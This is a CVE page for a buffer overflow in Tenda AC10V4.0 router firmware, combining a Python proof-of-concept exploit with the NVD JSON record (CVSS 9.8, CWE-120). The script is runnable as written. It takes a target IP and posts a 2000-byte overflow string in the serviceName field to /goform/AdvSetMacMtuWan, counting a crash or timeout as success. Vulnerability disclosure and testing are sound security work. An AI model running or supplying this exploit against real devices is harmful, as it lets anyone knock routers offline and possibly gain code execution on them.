CVE-2025-67073

import requests import sys # CVE-2025-67073 PoC - Tenda AC10V4.0 Buffer Overflow # Target: /goform/AdvSetMacMtuWan endpoint def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit buffer overflow in fromAdvSetMacMtuWan function Target: Tenda AC10V4.0 V16.03.10.20 """ url = f"http://{target_ip}:{target_port}/goform/AdvSetMacMtuWan" # Generate overflow payload - adjust length based on target # Typical buffer overflow offset for MIPS devices: 1000-2000 bytes overflow_length = 2000 payload = "A" * overflow_length # Construct POST request with malicious serviceName data = { "serviceName": payload, # Additional parameters may be required "mtuSize": "1500" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; exploit-poc)" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {overflow_length} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)} bytes") # Check if target is vulnerable (no response or timeout indicates success) if response.status_code == 200 and len(response.text) < 50: print("[+] Target appears vulnerable - possible DoS triggered") return True else: print("[-] Target may not be vulnerable or already patched") return False except requests.exceptions.Timeout: print("[+] Target is unresponsive - DoS exploit likely successful") return True except requests.exceptions.ConnectionError: print("[+] Connection refused - service may be down") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_buffer_overflow(target, port)

{"cve": {"id": "CVE-2025-67073", "sourceIdentifier": "[email protected]", "published": "2025-12-17T20:15:56.357", "lastModified": "2026-01-02T19:45:45.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Buffer overflow vulnerability in function fromAdvSetMacMtuWan of bin httpd in Tenda AC10V4.0 V16.03.10.20 allows remote attackers to cause denial of service and possibly code execution by sending a post request with a crafted payload (field `serviceName`) to /goform/AdvSetMacMtuWan."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac10_firmware:16.03.10.20:*:*:*:*:*:*:*", "matchCriteriaId": "A19C486B-52A3-4C3E-851D-F349E8E0A706"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac10:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "970AEBF4-2B32-4633-A75B-2D2C598C048D"}]}]}], "references": [{"url": "https://github.com/johnathanhuutri/CVEReport/tree/master/CVE-2025-67073", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}